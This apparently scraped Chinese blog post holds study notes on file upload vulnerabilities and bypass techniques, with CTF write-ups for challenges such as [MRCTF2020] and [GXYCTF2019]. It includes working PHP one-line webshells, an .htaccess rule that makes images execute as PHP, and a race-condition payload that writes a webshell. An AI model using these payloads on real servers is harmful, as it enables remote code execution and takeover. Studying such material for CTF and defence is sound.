首页 > 其他分享 >文件上传

文件上传

时间:2024-06-05 22:15:38浏览次数:15  
标签:文件 木马 test 绕过 php 上传

文件上传

文件上传漏洞:

文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力

原理:

一些 文件上传功能没有严格限制用户上传的文件的后缀和文件类型,导致可以在某个目录上传任意PHP文件

如果存在文件上传漏洞,可以将病毒,木马,shell,其他恶意脚本或者是包含了脚本的图片上传到服务器,进行攻击

绕过

emmm,具体看uploadlabs吧..

前端检测

主要是通过javascript代码进行检测, 一般都是在网页上写一段javascript脚本,校验上传文件的后缀名,有白名单形式也有黑名单形式。判断方式:在浏览加载文件,但还未点击上传按钮时便弹出对话框,内容如:只允许上传.jpg/.jpeg/.png后缀名的文件,而此时并没有发送数据包

绕过

  1. burp抓包改包,先上传一个gif类型的木马,然后通过burp将其改为asp/php/jsp后缀名
  2. 通过firbug插件元素审核修改代码(如删除onsubm:t=”return checkFile()”事件)
  3. 禁用js
  4. firbug元素审核javascirpt脚本中添加上传文件类型
黑名单绕过

burp抓包 修改后缀

利用.和空格绕过:win系统下文件名以.和空格结尾的 系统会自动将其删除

如: test.asp.
	test.asp空格
	test.php:1.jpg
	test.php::$DATA
单双重后缀绕过

test.pphphp

文件包含绕过

运行上传文件包含脚本木马和一句话内容马将文件后缀修改为png,jpg,asp

修改url参数绕过
如:将/uploadfile.asp?uppath=PicPath&upname=&uptext=form1.PicPath中的参数uptext的值改为form1.PicPath.asp即可绕过
双重文件上传绕过
白名单绕过

%00截断上传绕过

文件路径绕过

将上传的文件放到指定的路径中即可绕过:如果指定目录存在就将文件写入该目录,如果不存在就先建立在写入

.htaccess文件重写绕过

.htaccess文件作用

.htaccess文件可以 实现301重定向,404,我呢见扩展名,允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能

例题;[MRCTF2020]你传你呢

<FilesMatch "test.png">//与上传的文件名相同
SetHandler application/x-httpd-php
</FilesMatch>

配合黑名单绕过,上传一个自定义的.htaccess和一句话图片木马

<FilesMatch "backlion.jpg">

   SetHandler application/x-httpd-php

   </FilesMatch>
文件头绕过

如:gif奥

GIF89a

<?php phpinfo(); ?>
条件竞争

参考连接这个和这个

条件竞争上传:就是先检测上传问价是否存在,如果上传的文件存在就先保存在删除,然后输出上传失败

漏洞利用:

<?PHP 
fputs(fopen('test.php','w'),'<?php @eval($_POST[test])?>');
?>

当我们访问这个文件的时候 会在同一目录下生成test.php,其内容为一句话木马

用python脚本来实现,无限循环上传该文件(访问该地址)

import requests
while 1:
    requests.get("上传文件地址")
    print(test)

运行脚本之后 burp爆破

将拦截的数据发给intruder,清除标记,选择null payload,设置爆破参数

image-20240603202928795

image-20240603202952950

对渲染/加载测试攻击内容检查绕过

往图片里加代码,图片马

以上在upload-labs都见过

WAF文件上传绕过

waf问价检查位置:文件名,文件内容,文件目录权限,请求的url,Boundary边界,MIME文件类型

​ 闭包:定义在一个函数内部的函数。就是通过f2函数能从函数外部获取到函数内部的局部变量(正常情况下是不可能的实现的)

image-20240603210039689

MIME:告诉浏览器等 文件类型的

绕过参考连接很详细

[极客大挑战 2019]Upload

image-20240603215657765

写一句话木马修改后缀为jpg上传

image-20240603215816995

抓个包

修改类型为image/jpg

image-20240603220352980

尝试将php修改为php5

image-20240603220542367image-20240603220602386

使用phtml

image-20240603220734333

尝试绕过<?
<script language="php">
   @eval($_POST['up']);

image-20240603221548546

使用文件头绕过 修改数据包

image-20240603221732248

image-20240603221748563

上传成功,访问我们上传的文件

猜测是在upload目录下

image-20240603222256477

找到文件蚁剑连接

image-20240603222953265

根目录下找到flag

image-20240603223218686

[ACTF2020 新生赛]Upload

上传php文件 发现只能上传图片

image-20240605191001145

好像抓不到包

上传一张图片 上传成功

image-20240605191653039

图片能抓到 访问路径 发现是上传的图片

上传phtml 内容是一句话木马 蚁剑连接 根目录下得到flag

image-20240605193433123

image-20240605193504712

image-20240605193538950

[MRCTF2020]你传你呢

上传图片 修改内容为

image-20240605195857501

image-20240605195202363

然后看wp发现是.htaccess文件上传

image-20240605201009985

test.png是我们要上传的测试文件,这里和接下来要上传的文件名要保持一致

image-20240605201326922

修改文件类型 上传成功

image-20240605201400547

上传一句话 木马

image-20240605201844304

image-20240605201857934

上传成功 蚁剑 根目录 Flag

image-20240605202131431

image-20240605202224549

[GXYCTF2019]BabyUpload

上传php文件

image-20240605202428080

image-20240605203600669

php.绕过 文件类型jpeg

image-20240605203851298

php的标志 <? ????

绕过<?试一下

image-20240605204417804

蚁剑无法连接 有函数被禁了

访问upload 403

说是上传.htaccess

image-20240605205858679

image-20240605215654356

image-20240605213015564

绕过<?

GIF89a <script language="php">
   @eval($_POST['test']);

image-20240605215857148

image-20240605213113579

访问路径image-20240605215749706

蚁剑

image-20240605215506279

image-20240605215519868

[WUSTCTF2020]CV Maker

标签:文件,木马,test,绕过,php,上传
From: https://www.cnblogs.com/Yolololo/p/18233996

相关文章

  • python 直接加载egg 文件的模块
    主要作为一个简单记录参考示例文件模式importsysimportosegg_path=os.path.join(os.path.dirname(__file__),'dist','mydalong-0.1-py3.11.egg')sys.path.append(egg_path)fromdemoimportdalongdalong.login()文件夹模式......
  • RFS_Server_06 上传并发布数据
    操作描述:云服务器Ubuntu20.04系统Docker中有两个容器:Postgres容器和GeoServer容器。将数据存储至Postgres数据库容器中,并通过GeoServer连接,发布地图服务。此文档中使用的Postgres数据库名称为pg01,GeoServer服务器名称为geoserver01。1    基础操作:使用工具连接云服务器Docke......
  • 重复文件怎么查找并清理?电脑重复文件清理工具分享:4个
    在日常使用电脑的过程中,我们不可避免地会遇到各种重复文件的问题。这些重复文件不仅占据了宝贵的存储空间,还可能导致系统性能下降,甚至引发一些不必要的问题。因此,如何有效地查找并清理这些重复文件成为了我们日常使用电脑办公的打工人最关心的问题。出于这种考虑,本文小编经过使......
  • 如何批量复制文件名?文件名批量提取的5个工具!(2024新)
    在数字化时代,我们经常需要处理大量的文件,其中批量复制文件名或批量提取文件名成为一项常见的任务。这不仅可以提高我们的工作效率,还能使文件管理更为有序。本文将介绍五种2024年最新的文件名批量提取工具,帮助你轻松完成文件名批量复制和提取的任务。文件名批量提取复制方法一......
  • C#提取文件中的图标 - 开源研究系列文章
          这次想开发一个目录图标更改器,里面涉及到图标文件的获取的问题。于是,就写了此博文来解决获取图标文件的方法,然后才用到那个小应用上。这个例子参考了网上的例子,主要是将图标从文件中获取出来,然后才能复制到目录进行应用。 1、项目目录;  2、源......
  • 文件夹如何加密码全攻略,5个文件夹加密方法新手也能学
    文件夹如何加密码?在这个互联网时代,隐私保护越来越受到大家的重视。我们在日常工作中,有时候会接触一些比较重要的文件,为了不让这些文件信息被泄露,所以我们可以给文件夹设置密码保护。那要怎么给文件夹设置密码呢?今天小编就来给大家分享5个文件夹加密码的方法,希望可以通过这篇文......
  • neo4j导入关系csv文件建立知识图谱
    1.启动neo4jstart出现neo4j不是内部或外部命令的问题解决方法:neo4j.bat不是内部或外部命令,也不是可运行的程序_neo4j.bat'不是内部或外部命令,也不是可运行的程序或批处理文件。-CSDN博客我按照他的方法添加了一个用户变量就解决了。 启动后,浏览器打开网址,输入自己的......
  • 用udp协议传输文件
    用udp协议传输文件目录用udp协议传输文件头文件/宏定义客户端服务器头文件/宏定义#include<stdio.h>#include<stdlib.h>#include<string.h>#include<arpa/inet.h>#include<netinet/in.h>#include<sys/types.h>#include<sys/socket.h>#include<ti......
  • python如何编译成exe文件
    python如何编译成exe文件?具体步骤如下:1、使用pycharm安装pyinstaller。2、找到pyinstaller的安装目录。C:\Users\lounious\PycharmProjects\untitled\venv\Scripts\pyinstaller-script.py注意在该目录的母目录下一般有我们的程序文件C:\Users\lounious\PycharmProject......
  • SpringBoot+Nginx大文件传输
    Nginx配置 #公众端的附件上传location/api/visitor/upload{#Passalteredrequestbodytothislocationupload_pass/api/outerPortal/uploadAndSave;#Storefilestothisdirectory#Thedirectory......